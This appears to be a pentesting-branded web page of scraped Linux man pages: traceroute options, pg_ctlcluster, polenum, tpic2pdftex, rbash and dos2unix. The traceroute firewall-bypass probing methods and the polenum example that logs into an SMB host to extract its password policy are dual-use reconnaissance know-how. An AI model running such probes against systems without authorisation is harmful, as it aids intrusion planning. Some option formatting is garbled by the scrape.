We don’t want the destination host to process the UDP probe packets, so the destination port is set to an unlikely value (you can change it with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open technique, which prevents our probes to be seen by applications on the destination host).

In the modern network environment the traditional traceroute methods can not be always applicable, because of widespread use of firewalls. Such firewalls filter the “unlikely” UDP ports, or even ICMP echoes. To solve this, some additional tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particular protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of allowed type of a network session).

OPTIONS

–help
Print help info and exit.

-4, -6
Explicitly force IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose the appropriate protocol automatically. If resolving a host name returns both IPv4 and IPv6 addresses, traceroute will use IPv4.

-I, –icmp
Use ICMP ECHO for probes

-T, –tcp
Use TCP SYN for probes

-d, –debug
Enable socket level debugging (when the Linux kernel supports it)

-F, –dont-fragment
Do not fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment remotely as well).

Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information about the MTU of individual network hops. The –mtu option (see below) tries to do this automatically.

Note, that non-fragmented features (like -F or –mtu) work properly since the Linux kernel 2.6.22 only. Before that version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the route cache), which can be less than the actual mtu of a device.

-f* first_ttl***, –first=**first_ttl
Specifies with what TTL to start. Defaults to 1.

-g* gateway***, –gateway=gateway
Tells traceroute to add an IP source routing option to the outgoing packet that tells the network to route the packet through the specified gateway (most routers have disabled source routing for security reasons). In general, several gateway’s is allowed (comma separated). For IPv6, the form of num
,addr,**addr… is allowed, where num is a route header type (default is type 2). Note the type 0 route header is now deprecated (rfc5095).

-i* interface***, –interface=**interface
Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.

-m* max_ttl***, –max-hops=**max_ttl
Specifies the maximum number of hops (max time-to-live value) traceroute will probe. The default is 30.

-N* squeries***, –sim-queries=**squeries
Specifies the number of probe packets sent out simultaneously. Sending several probes concurrently can speed up traceroute considerably. The default value is 16.
Note that some routers and hosts can use ICMP rate throttling. In such a situation specifying too large number can lead to loss of some responses.

-n
Do not try to map IP addresses to host names when displaying them.

-p* port***, –port=**port
For UDP tracing, specifies the destination port base traceroute will use (the destination port number will be incremented by each probe).
For ICMP tracing, specifies the initial ICMP sequence value (incremented by each probe too).
For TCP and others specifies just the (constant) destination port to connect. When using the tcptraceroute wrapper, -p specifies the source port.

-t* tos***, –tos=**tos
For IPv4, set the Type of Service (TOS) and Precedence value. Useful values are 16 (low delay) and 8 (high throughput). Note that in order to use some TOS precedence values, you have to be super user.
For IPv6, set the Traffic Control value.

-l* flow_label***, –flowlabel=**flow_label
Use specified flow_label for IPv6 packets.

-w* max[*,here,near], –wait=*max[,here,*near]
Determines how long to wait for a response to a probe.

There are three (in general) float values separated by a comma (or a slash). Max specifies the maximum time (in seconds, default 5.0) to wait, in any case.

Traditional traceroute implementation always waited whole max seconds for any probe. But if we already have some replies from the same hop, or even from some next hop, we can use the round trip time of such a reply as a hint to determine the actual reasonable amount of time to wait.

The optional here (default 3.0) specifies a factor to multiply the round trip time of an already received response from the same hop. The resulting value is used as a timeout for the probe, instead of (but no more than) max. The optional near (default 10.0) specifies a similar factor for a response from some next hop. (The time of the first found result is used in both cases).

First, we look for the same hop (of the probe which will be printed first from now). If nothing found, then look for some next hop. If nothing found, use max. If here and/or near have zero values, the corresponding computation is skipped.
Here and near are always set to zero if only max is specified (for compatibility with previous versions).

-q* nqueries***, –queries=**nqueries
Sets the number of probe packets per hop. The default is 3.

-r
Bypass the normal routing tables and send directly to a host on an attached network. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it.

-s* source_addr***, –source=**source_addr
Chooses an alternative source address. Note that you must select the address of one of the interfaces. By default, the address of the outgoing interface is used.

-z* sendwait***, –sendwait=**sendwait
Minimal time interval between probes (default 0). If the value is more than 10, then it specifies a number in milliseconds, else it is a number of seconds (float point values allowed too). Useful when some routers use rate-limit for ICMP messages.

-e, –extensions
Show ICMP extensions (rfc4884). The general form is CLASS*/TYPE:*** followed by a hexadecimal dump. The MPLS (rfc4950) is shown parsed, in a form: MPLS:L=label,E=exp_use,S=stack_bottom,T=TTL (more objects separated by / ). The Interface Information (rfc5837) is shown parsed as well, in a following form: {INC|SUB|OUT|NXT}:index,IP_addr,"name",mtu=MTU (all four fields may be missing).

-A, –as-path-lookups
Perform AS path lookups in routing registries and print results directly after the corresponding addresses.

-V, –version
Print the version and exit.

There are additional options intended for advanced usage (such as alternate trace methods etc.):

–sport=port
Chooses the source port to use. Implies -N 1 -w 5 . Normally source ports (if applicable) are chosen by the system.

–fwmark=mark
Set the firewall mark for outgoing packets (since the Linux kernel 2.6.25).

-M* method***, –module=name
Use specified method for traceroute operations. Default traditional udp method has name default, icmp (
-I**)" and tcp (-T)" have names icmp and tcp respectively.
Method-specific options can be passed by -O . Most methods have their simple shortcuts, (-I means -M icmp, etc).

-O* option***, –options=**options
Specifies some method-specific option. Several options are separated by comma (or use several -O on cmdline). Each method may have its own specific options, or many not have them at all. To print information about available options, use -O help.

-U, –udp
Use UDP to particular destination port for tracerouting (instead of increasing the port per each probe). Default port is 53 (dns).

-UL
Use UDPLITE for tracerouting (default port is 53).

-D, –dccp
Use DCCP Requests for probes.

-P* protocol***, –protocol=**protocol
Use raw packet of specified protocol for tracerouting. Default protocol is 253 (rfc3692).

–mtu
Discover MTU along the path being traced. Implies -F -N 1. New mtu is printed once in a form of F=NUM at the first probe of a hop which requires such mtu to be reached. (Actually, the correspond “frag needed” icmp message normally is sent by the previous hop).

Note, that some routers might cache once the seen information on a fragmentation. Thus you can receive the final mtu from a closer hop. Try to specify an unusual tos by -t , this can help for one attempt (then it can be cached there as well).
See -F option for more info.

–back
Print the number of backward hops when it seems different with the forward direction. This number is guessed in assumption that remote hops send reply packets with initial ttl set to either 64, or 128 or 255 (which seems a common practice). It is printed as a negate value in a form of ‘-NUM’ .

LIST OF AVAILABLE METHODS

In general, a particular traceroute method may have to be chosen by -M name, but most of the methods have their simple cmdline switches (you can see them after the method name, if present).

default

The traditional, ancient method of tracerouting. Used by default.

Probe packets are udp datagrams with so-called “unlikely” destination ports. The “unlikely” port of the first probe is 33434, then for each next probe it is incremented by one. Since the ports are expected to be unused, the destination host normally returns “icmp unreach port” as a final response. (Nobody knows what happens when some application listens for such ports, though).

This method is allowed for unprivileged users.

icmp -I

Most usual method for now, which uses icmp echo packets for probes.
If you can ping(8) the destination host, icmp tracerouting is applicable as well.

This method may be allowed for unprivileged users since the kernel 3.0 (IPv4, for IPv6 since 3.11), which supports new dgram icmp (or “ping”) sockets. To allow such sockets, sysadmin should provide net/ipv4/ping_group_range sysctl range to match any group of the user.
Options:

raw
Use only raw sockets (the traditional way).
This way is tried first by default (for compatibility reasons), then new dgram icmp sockets as fallback.

dgram
Use only dgram icmp sockets.

tcp -T

Well-known modern method, intended to bypass firewalls.
Uses the constant destination port (default is 80, http).

If some filters are present in the network path, then most probably any “unlikely” udp ports (as for default method) or even icmp echoes (as for icmp) are filtered, and whole tracerouting will just stop at such a firewall. To bypass a network filter, we have to use only allowed protocol/port combinations. If we trace for some, say, mailserver, then more likely -T -p 25 can reach it, even when -I can not.

This method uses well-known “half-open technique”, which prevents applications on the destination host from seeing our probes at all. Normally, a tcp syn is sent. For non-listened ports we receive tcp reset, and all is done. For active listening ports we receive tcp syn+ack, but answer by tcp reset (instead of expected tcp ack), this way the remote tcp session is dropped even without the application ever taking notice.

There is a couple of options for tcp method:

syn,ack,fin,rst,psh,urg,ece,cwr
Sets specified tcp flags for probe packet, in any combination.

flags=num
Sets the flags field in the tcp header exactly to num.

ecn
Send syn packet with tcp flags ECE and CWR (for Explicit Congestion Notification, rfc3168).

sack,timestamps,window_scaling
Use the corresponding tcp header option in the outgoing probe packet.

sysctl
Use current sysctl (/proc/sys/net/*) setting for the tcp header options above and ecn. Always set by default, if nothing else specified.

fastopen
Use fastopen tcp option (when syn), for initial cookie negotiation only.

mss=[num]
Use value of num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path being traced. New changed mss is printed once in a form of M=NUM at the first probe on which it was detected. Note, some routers may return too short original fragment in the time exceeded message, making the check impossible. Besides that the responses may come in a different order. All this can lead to a later place of the report (using -N 1 can help for the order).

info
Print tcp flags and supported options of final tcp replies when the target host is reached. Allows to determine whether an application listens the port and other useful things. Supported tcp options are all that can be set by -T -O, ie. mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss and just presence for others).

Default options is syn,sysctl.

tcpconn

An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended for normal use, because a destination application is always affected (and can be confused).

udp -U

Use udp datagram with constant destination port (default 53, dns).
Intended to bypass firewall as well.

Note, that unlike in tcp method, the correspond application on the destination host always receive our probes (with random data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never see the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

This method is allowed for unprivileged users.

udplite -UL

Use udplite datagram for probes (with constant destination port, default 53).

This method is allowed for unprivileged users.
Options:

coverage=num
Set udplite send coverage to num.

dccp -D

Use DCCP Request packets for probes (rfc4340).

This method uses the same “half-open technique” as used for TCP. The default destination port is 33434.

Options:

service=num
Set DCCP service code to num (default is 1885957735).

raw -P proto

Send raw packet of protocol proto.
No protocol-specific headers are used, just IP header only.
Implies -N 1 -w 5 .
Options:

protocol=proto
Use IP protocol proto (default 253).

NOTES

To speed up work, normally several probes are sent simultaneously. On the other hand, it creates a “storm of packages”, especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies can be lost. To avoid this, decrease the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation), i.e. -N 1

The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It can lead to extra “looks like expired” hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it cannot help in your case, just use -N 1 too.

For even greater stability you can slow down the program’s work by -z option, for example use -z 0.5 for half-second pause between probes.

To avoid an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature expiry (especially when response times differ at times) and printing “*” instead of a time. In such a case, switch this algorithm off, by specifying -w with the desired timeout only (for example, -w 5).

If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and for nearest 8 hops only).

SEE ALSO

ping(8), ping6(8), tcpdump(8), netstat(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1937 - Linux cli command pg_ctlcluster

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_ctlcluster and provides detailed information about the command pg_ctlcluster, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_ctlcluster.

NAME 🖥️ pg_ctlcluster 🖥️

start/stop/restart/reload a PostgreSQL cluster

SYNOPSIS

pg_ctlcluster [options] cluster-version cluster-name action [ pg_ctl options]

where action = start|stop|restart|reload|status|promote

DESCRIPTION

This program controls the postgres server for a particular cluster. It essentially wraps the pg_ctl (1) command. It determines the cluster version and data path and calls the right version of pg_ctl with appropriate configuration parameters and paths.

You have to start this program as the user who owns the database cluster or as root.

To ease integration with systemd operation, the alternative syntax “pg_ctlcluster version**-**cluster action” is also supported, as well as putting the action first (matching the ordering used by systemctl).

ACTIONS

start
A log file for this specific cluster is created if it does not exist yet (by default, /var/log/postgresql/postgresql-cluster-version-cluster-name.log), and a PostgreSQL server process (postgres (1)) is started on it. Exits with 0 on success, with 2 if the server is already running, and with 1 on other failure conditions.

stop
Stops the postgres (1) server of the given cluster. By default, “fast” shutdown mode is used.

restart
Stops the server if it is running and starts it (again).

reload
Causes the configuration files to be re-read without a full shutdown of the server.

status
Checks whether a server is running. If it is, the PID and the command line options that were used to invoke it are displayed.

promote
Commands a running standby server to exit recovery and begin read-write operations.

OPTIONS

-f|–force
For stop and restart, the “fast” mode is used which rolls back all active transactions, disconnects clients immediately and thus shuts down cleanly. If that does not work, shutdown is attempted again in “immediate” mode, which can leave the cluster in an inconsistent state and thus will lead to a recovery run at the next start. If this still does not help, the postgres process is killed. Exits with 0 on success, with 2 if the server is not running, and with 1 on other failure conditions. This mode should only be used when the machine is about to be shut down.

-m|–mode [smart|fast|immediate]
Shutdown mode to use for stop and restart actions, default is fast. See pg_ctl (1) for documentation.

–foreground
Start postgres in foreground, without daemonizing via pg_ctl.

–stdlog
When –foreground is in use, redirect stderr to the standard logfile in /var/log/postgresql/. (Default when not run in foreground.)

–skip-systemctl-redirect
When running as root, pg_ctlcluster redirects actions to systemctl so running clusters are properly supervised by systemd. This option skips the redirect; it is used in the [email protected] unit file. The redirect is also skipped if additional postgres or pg_ctl options are provided.

–bindir directory
Path to pg_ctl. (Default is /usr/lib/postgresql/version/bin.)

-o|–options option
Pass given option as command line option to the postgres process. It is possible to specify -o multiple times. See postgres (1) for a description of valid options.

pg_ctl options
Pass given pg_ctl options as command line options to pg_ctl. See pg_ctl (1) for a description of valid options.

FILES

/etc/postgresql/cluster-version/cluster-name/pg_ctl.conf
This configuration file contains cluster specific options to be passed to pg_ctl (1).

/etc/postgresql/cluster-version/cluster-name/start.conf
This configuration file controls the start/stop behavior of the cluster. See section “STARTUP CONTROL” in pg_createcluster (8) for details.

BUGS

Changing the port number on startup using -o -p will not work as it breaks the checks for running clusters.

SEE ALSO

pg_createcluster (8), pg_ctl (1), pg_wrapper (1), pg_lsclusters (1), postgres (1)

AUTHOR

Martin Pitt <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1938 - Linux cli command polenum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command polenum and provides detailed information about the command polenum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the polenum.

NAME 🖥️ polenum 🖥️

Extracts the password policy from a Windows system

SYNOPSIS

polenum [username[:password]@]<address> [–protocols [protocol list…]]

DESCRIPTION

This is a simple security-oriented tool. Aims to help system administrators to improve security.

OPTIONS

There are only two possible options with protocol list:

445/SMB
Use TCP port 445 to probe Microsoft-DS SMB file sharing.

139/SMB
Use NetBIOS over TCP/IP Session Service. In order use the session service of the old NBT protocol that runs on TCP port 139.

EXAMPLES

polenum user:[email protected] --protocols '445/SMB'

Tries to get the password policy of the system 192.168.1.13 by logging in with the provided user name and password using SMB port 445.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1939 - Linux cli command tpic2pdftex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tpic2pdftex and provides detailed information about the command tpic2pdftex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tpic2pdftex.

NAME 🖥️ tpic2pdftex 🖥️

convert tpic \specials for use by pdftex

SYNOPSIS

pic -t somefile.pic | tpic2pdftex > somefile.tex

Process somefile.tex by pdftex/pdflatex.

DESCRIPTION

Experimental awk script for conversion of tpic \specials as produced by (groff-)pic into pdfTeX \pdfliteral sections for further processing by pdftex.

NOTES

Current version: 1.97.

tpic \special description see e. g.: Goossens, Rahtz, Mittelbach: The LaTeX Graphics Companion, Addison-Wesley, 1997, pp. 464.

BUGS

Spline curve shapes not fully authentic (unknown algorithm). Bounding box does not care for line thickness (groff pic feature). Splines might be outside bounding box. Fill color does not work correctly for arrowheads (pic limitation).

SEE ALSO

pic(1), grap(1), groff(1), awk(1), pdftex(1).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1940 - Linux cli command rbash

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rbash and provides detailed information about the command rbash, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rbash.

NAME 🖥️ rbash 🖥️

restricted bash, see bash(1)

RESTRICTED SHELL

SEE ALSO

bash(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1941 - Linux cli command mac2unix

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mac2unix and provides detailed information about the command mac2unix, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mac2unix.

NAME 🖥️ mac2unix 🖥️

DOS/Mac to Unix and vice versa text file format converter

SYNOPSIS

dos2unix [options] [FILE …] [-n INFILE OUTFILE …] unix2dos [options] [FILE …] [-n INFILE OUTFILE …]

DESCRIPTION

The Dos2unix package includes utilities dos2unix and unix2dos to convert plain text files in DOS or Mac format to Unix format and vice versa.

In DOS/Windows text files a line break, also known as newline, is a combination of two characters: a Carriage Return (CR) followed by a Line Feed (LF). In Unix text files a line break is a single character: the Line Feed (LF). In Mac text files, prior to Mac OS X, a line break was single Carriage Return (CR) character. Nowadays Mac OS uses Unix style (LF) line breaks.

Besides line breaks Dos2unix can also convert the encoding of files. A few DOS code pages can be converted to Unix Latin-1. And Windows Unicode (UTF-16) files can be converted to Unix Unicode (UTF-8) files.

Binary files are automatically skipped, unless conversion is forced.

Non-regular files, such as directories and FIFOs, are automatically skipped.

Symbolic links and their targets are by default kept untouched. Symbolic links can optionally be replaced, or the output can be written to the symbolic link target. Writing to a symbolic link target is not supported on Windows.

Dos2unix was modelled after dos2unix under SunOS/Solaris. There is one important difference with the original SunOS/Solaris version. This version does by default in-place conversion (old file mode), while the original SunOS/Solaris version only supports paired conversion (new file mode). See also options -o and -n. Another difference is that the SunOS/Solaris version uses by default iso mode conversion while this version uses by default ascii mode conversion.

OPTIONS


Treat all following options as file names. Use this option if you want to convert files whose names start with a dash. For instance to convert a file named “-foo”, you can use this command: dos2unix – -foo Or in new file mode: dos2unix -n – -foo out.txt

–allow-chown
Allow file ownership change in old file mode. When this option is used, the conversion will not be aborted when the user and/or group ownership of the original file can’t be preserved in old file mode. Conversion will continue and the converted file will get the same new ownership as if it was converted in new file mode. See also options -o and -n. This option is only available if dos2unix has support for preserving the user and group ownership of files.

-ascii
Default conversion mode. See also section CONVERSION MODES.

-iso
Conversion between DOS and ISO-8859-1 character set. See also section CONVERSION MODES.

-1252
Use Windows code page 1252 (Western European).

-437
Use DOS code page 437 (US). This is the default code page used for ISO conversion.

-850
Use DOS code page 850 (Western European).

-860
Use DOS code page 860 (Portuguese).

-863
Use DOS code page 863 (French Canadian).

-865
Use DOS code page 865 (Nordic).

-7
Convert 8 bit characters to 7 bit space.

-b, –keep-bom
Keep Byte Order Mark (BOM). When the input file has a BOM, write a BOM in the output file. This is the default behavior when converting to DOS line breaks. See also option -r.

-c, –convmode CONVMODE
Set conversion mode. Where CONVMODE is one of: ascii, 7bit, iso, mac with ascii being the default.

-D, –display-enc ENCODING
Set encoding of displayed text. Where ENCODING is one of: ansi, unicode, unicodebom, utf8, utf8bom with ansi being the default. This option is only available in dos2unix for Windows with Unicode file name support. This option has no effect on the actual file names read and written, only on how they are displayed. There are several methods for displaying text in a Windows console based on the encoding of the text. They all have their own advantages and disadvantages.

ansi
Dos2unix’s default method is to use ANSI encoded text. The advantage is that it is backwards compatible. It works with raster and TrueType fonts. In some regions you may need to change the active DOS OEM code page to the Windows system ANSI code page using the chcp command, because dos2unix uses the Windows system code page. The disadvantage of ansi is that international file names with characters not inside the system default code page are not displayed properly. You will see a question mark, or a wrong symbol instead. When you don’t work with foreign file names this method is OK.

unicode, unicodebom
The advantage of unicode (the Windows name for UTF-16) encoding is that text is usually properly displayed. There is no need to change the active code page. You may need to set the console’s font to a TrueType font to have international characters displayed properly. When a character is not included in the TrueType font you usually see a small square, sometimes with a question mark in it. When you use the ConEmu console all text is displayed properly, because ConEmu automatically selects a good font. The disadvantage of unicode is that it is not compatible with ASCII. The output is not easy to handle when you redirect it to another program. When method unicodebom is used the Unicode text will be preceded with a BOM (Byte Order Mark). A BOM is required for correct redirection or piping in PowerShell.

utf8, utf8bom
The advantage of utf8 is that it is compatible with ASCII. You need to set the console’s font to a TrueType font. With a TrueType font the text is displayed similar as with the unicode encoding. The disadvantage is that when you use the default raster font all non-ASCII characters are displayed wrong. Not only unicode file names, but also translated messages become unreadable. On Windows configured for an East-Asian region you may see a lot of flickering of the console when the messages are displayed. In a ConEmu console the utf8 encoding method works well. When method utf8bom is used the UTF-8 text will be preceded with a BOM (Byte Order Mark). A BOM is required for correct redirection or piping in PowerShell.

The default encoding can be changed with environment variable DOS2UNIX_DISPLAY_ENC by setting it to unicode, unicodebom, utf8, or utf8bom.

-e, –add-eol
Add a line break to the last line if there isn’t one. This works for every conversion. A file converted from DOS to Unix format may lack a line break on the last line. There are text editors that write text files without a line break on the last line. Some Unix programs have problems processing these files, because the POSIX standard defines that every line in a text file must end with a terminating newline character. For instance concatenating files may not give the expected result.

-f, –force
Force conversion of binary files.

-gb, –gb18030
On Windows UTF-16 files are by default converted to UTF-8, regardless of the locale setting. Use this option to convert UTF-16 files to GB18030. This option is only available on Windows. See also section GB18030.

-h, –help
Display help and exit.

-i[FLAGS], –info[=FLAGS] FILE …
Display file information. No conversion is done. The following information is printed, in this order: number of DOS line breaks, number of Unix line breaks, number of Mac line breaks, byte order mark, text or binary, file name. Example output: 6 0 0 no_bom text dos.txt 0 6 0 no_bom text unix.txt 0 0 6 no_bom text mac.txt 6 6 6 no_bom text mixed.txt 50 0 0 UTF-16LE text utf16le.txt 0 50 0 no_bom text utf8unix.txt 50 0 0 UTF-8 text utf8dos.txt 2 418 219 no_bom binary dos2unix.exe Note that sometimes a binary file can be mistaken for a text file. See also option -s. If in addition option -e or --add-eol is used also the type of the line break of the last line is printed, or noeol if there is none. Example output: 6 0 0 no_bom text dos dos.txt 0 6 0 no_bom text unix unix.txt 0 0 6 no_bom text mac mac.txt 1 0 0 no_bom text noeol noeol_dos.txt Optionally extra flags can be set to change the output. One or more flags can be added.

  1. Print the file information lines followed by a null character instead of a newline character. This enables correct interpretation of file names with spaces or quotes when flag c is used. Use this flag in combination with xargs (1) option -0 or --null.

  2. Print number of DOS line breaks.

  3. Print number of Unix line breaks.

  4. Print number of Mac line breaks.

  5. Print the byte order mark.

  6. Print if file is text or binary.

  7. Print the type of the line break of the last line, or noeol if there is none.

  8. Print only the files that would be converted. With the c flag dos2unix will print only the files that contain DOS line breaks, unix2dos will print only file names that have Unix line breaks. If in addition option -e or --add-eol is used also the files that lack a line break on the last line will be printed.

  9. Print a header.

  10. Show file names without path.

Examples: Show information for all *.txt files: dos2unix -i *.txt Show only the number of DOS line breaks and Unix line breaks: dos2unix -idu *.txt Show only the byte order mark: dos2unix –info=b *.txt List the files that have DOS line breaks: dos2unix -ic *.txt List the files that have Unix line breaks: unix2dos -ic *.txt List the files that have DOS line breaks or lack a line break on the last line: dos2unix -e -ic *.txt Convert only files that have DOS line breaks and leave the other files untouched: dos2unix -ic0 *.txt | xargs -0 dos2unix Find text files that have DOS line breaks: find -name *.txt -print0 | xargs -0 dos2unix -ic

-k, –keepdate
Keep the date stamp of output file same as input file.

-L, –license
Display program’s license.

-l, –newline
Add additional newline. dos2unix: Only DOS line breaks are changed to two Unix line breaks. In Mac mode only Mac line breaks are changed to two Unix line breaks. unix2dos: Only Unix line breaks are changed to two DOS line breaks. In Mac mode Unix line breaks are changed to two Mac line breaks.

-m, –add-bom
Write a Byte Order Mark (BOM) in the output file. By default an UTF-8 BOM is written. When the input file is UTF-16, and the option -u is used, an UTF-16 BOM will be written. Never use this option when the output encoding is other than UTF-8, UTF-16, or GB18030. See also section UNICODE.

-n, –newfile INFILE OUTFILE …
New file mode. Convert file INFILE and write output to file OUTFILE. File names must be given in pairs and wildcard names should not be used or you will lose your files. The person who starts the conversion in new file (paired) mode will be the owner of the converted file. The read/write permissions of the new file will be the permissions of the original file minus the umask (1) of the person who runs the conversion.

–no-allow-chown
Don’t allow file ownership change in old file mode (default). Abort conversion when the user and/or group ownership of the original file can’t be preserved in old file mode. See also options -o and -n. This option is only available if dos2unix has support for preserving the user and group ownership of files.

–no-add-eol
Do not add a line break to the last line if there isn’t one.

-O, –to-stdout
Write to standard output, like a Unix filter. Use option -o to go back to old file (in-place) mode. Combined with option -e files can be properly concatenated. No merged last and first lines, and no Unicode byte order marks in the middle of the concatenated file. Example: dos2unix -e -O file1.txt file2.txt > output.txt

-o, –oldfile FILE …
